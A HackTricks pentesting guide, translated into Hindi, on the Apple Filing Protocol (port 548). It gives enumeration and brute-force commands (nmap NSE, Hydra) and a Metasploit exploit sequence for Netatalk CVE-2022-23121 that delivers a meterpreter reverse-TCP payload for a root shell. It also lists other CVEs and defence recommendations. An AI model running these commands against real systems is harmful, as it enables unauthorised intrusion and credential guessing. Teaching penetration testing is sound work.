548 - Pentesting Apple Filing Protocol (AFP)
Reading time: 6 minutes
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
Basic Information
Apple Filing Protocol (AFP), जिसे पहले AppleTalk Filing Protocol के नाम से जाना जाता था, एक विशेष नेटवर्क प्रोटोकॉल है जो Apple File Service (AFS) के अंतर्गत आता है। यह macOS और क्लासिक Mac OS के लिए फ़ाइल सेवाएँ प्रदान करने के लिए डिज़ाइन किया गया है। AFP यूनिकोड फ़ाइल नामों, POSIX-शैली और ACL अनुमतियों, संसाधन फोर्क, नामित विस्तारित विशेषताओं और जटिल फ़ाइल-लॉकिंग तंत्रों का समर्थन करने के लिए खड़ा है।
हालांकि AFP को आधुनिक macOS रिलीज़ में SMB द्वारा प्रतिस्थापित किया गया है (OS X 10.9 से SMB डिफ़ॉल्ट है), यह अभी भी निम्नलिखित में पाया जाता है:
- विरासती macOS / Mac OS 9 वातावरण
- NAS उपकरण (QNAP, Synology, Western Digital, TrueNAS…) जो ओपन-सोर्स Netatalk डेमन को एम्बेड करते हैं
- मिश्रित-OS नेटवर्क जहाँ Time-Machine-over-AFP अभी भी सक्षम है
डिफ़ॉल्ट TCP पोर्ट: 548 (AFP over TCP / DSI)
PORT STATE SERVICE
548/tcp open afp
Enumeration
Quick banner / server info
# Metasploit auxiliary
use auxiliary/scanner/afp/afp_server_info
run RHOSTS=<IP>
# Nmap NSE
nmap -p 548 -sV --script "afp-* and not dos" <IP>
उपयोगी AFP NSE स्क्रिप्ट:
स्क्रिप्ट | यह क्या करता है |
---|---|
afp-ls | उपलब्ध AFP वॉल्यूम और फ़ाइलों की सूची बनाता है |
afp-brute | AFP लॉगिन के खिलाफ पासवर्ड ब्रूट-फोर्स करता है |
afp-serverinfo | सर्वर का नाम, मशीन प्रकार, AFP संस्करण, समर्थित UAMs आदि को डंप करता है |
afp-showmount | शेयरों की सूची बनाता है साथ ही उनके ACLs के साथ |
afp-path-vuln | निर्देशिका-क्रॉसिंग, CVE-2010-0533 का पता लगाता है (और इसका शोषण कर सकता है) |
यदि अधिक नियंत्रण की आवश्यकता है तो NSE ब्रूट-फोर्स स्क्रिप्ट को Hydra/Medusa के साथ जोड़ा जा सकता है:
hydra -L users.txt -P passwords.txt afp://<IP>
शेयरों के साथ इंटरैक्ट करना
macOS
# Finder → Go → "Connect to Server…"
# or from terminal
mkdir /Volumes/afp
mount_afp afp://USER:[email protected]/SHARE /Volumes/afp
Linux (using afpfs-ng
‑ अधिकांश डिस्ट्रीब्यूशनों में पैक किया गया)
apt install afpfs-ng
mkdir /mnt/afp
mount_afp afp://USER:[email protected]/SHARE /mnt/afp
# or interactive client
afp_client <IP>
एक बार माउंट होने के बाद, याद रखें कि क्लासिक मैक रिसोर्स-फोर्क्स को छिपे हुए ._*
AppleDouble फ़ाइलों के रूप में संग्रहीत किया जाता है - इनमें अक्सर दिलचस्प मेटाडेटा होता है जिसे DFIR उपकरण मिस कर देते हैं।
सामान्य कमजोरियाँ और शोषण
Netatalk बिना प्रमाणीकरण RCE श्रृंखला (2022)
कई NAS विक्रेताओं ने Netatalk ≤3.1.12 भेजा। parse_entries()
में सीमाओं की जांच की कमी एक हमलावर को एक दुर्भावनापूर्ण AppleDouble हेडर बनाने और प्रमाणीकरण से पहले remote root प्राप्त करने की अनुमति देती है (CVSS 9.8 – CVE-2022-23121)। NCC Group द्वारा Western-Digital PR4100 का शोषण करते हुए PoC के साथ एक पूर्ण लेख उपलब्ध है।
Metasploit (>= 6.3) मॉड्यूल exploit/linux/netatalk/parse_entries
के साथ आता है जो DSI WRITE
के माध्यम से पेलोड प्रदान करता है।
use exploit/linux/netatalk/parse_entries
set RHOSTS <IP>
set TARGET 0 # Automatic (Netatalk)
set PAYLOAD linux/x64/meterpreter_reverse_tcp
run
यदि लक्ष्य प्रभावित QNAP/Synology फर्मवेयर चलाता है, तो सफल शोषण root के रूप में एक शेल प्रदान करता है।
Netatalk OpenSession heap overflow (2018)
पुराना Netatalk (3.0.0 - 3.1.11) DSI OpenSession हैंडलर में एक आउट-ऑफ-बाउंड्स लिखने के लिए संवेदनशील है, जो बिना प्रमाणीकरण के कोड निष्पादन की अनुमति देता है (CVE-2018-1160)। Tenable Research द्वारा एक विस्तृत विश्लेषण और PoC प्रकाशित किया गया था।
अन्य उल्लेखनीय मुद्दे
- CVE-2022-22995 – Symlink पुनर्निर्देशन जो AppleDouble v2 सक्षम होने पर मनमाने फ़ाइल लेखन / RCE की ओर ले जाता है (3.1.0 - 3.1.17)।
- CVE-2010-0533 – Apple Mac OS X 10.6 AFP में निर्देशिका traversal (जिसे
afp-path-vuln.nse
द्वारा पता लगाया गया)। - Netatalk 4.x (2024) में कई मेमोरी-सुरक्षा बग को ठीक किया गया – व्यक्तिगत CVEs को पैच करने के बजाय अपग्रेड करने की सिफारिश की जाती है।
रक्षा सिफारिशें
- AFP को निष्क्रिय करें जब तक कि यह सख्ती से आवश्यक न हो – इसके बजाय SMB3 या NFS का उपयोग करें।
- यदि AFP रहना चाहिए, तो Netatalk को ≥ 3.1.18 या 4.x में अपग्रेड करें, या विक्रेता फर्मवेयर लागू करें जो 2022/2023/2024 पैच को बैक-पोर्ट करता है।
- Strong UAMs (जैसे DHX2) को लागू करें, स्पष्ट-टेक्स्ट और अतिथि लॉगिन को निष्क्रिय करें।
- TCP 548 को विश्वसनीय उपनेट्स तक सीमित करें और जब दूरस्थ रूप से उजागर हो, तो AFP को एक VPN के अंदर लपेटें।
- समय-समय पर
nmap -p 548 --script afp-*
के साथ CI/CD में स्कैन करें ताकि बागी / डाउनग्रेडेड उपकरणों को पकड़ा जा सके।
Brute-Force
संदर्भ
- Netatalk सुरक्षा सलाहकार CVE-2022-23121 – "parse_entries में मनमाना कोड निष्पादन" https://netatalk.io/security/CVE-2022-23121
- Tenable Research – "18 साल पुराने बग (CVE-2018-1160) का शोषण" https://medium.com/tenable-techblog/exploiting-an-18-year-old-bug-b47afe54172
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।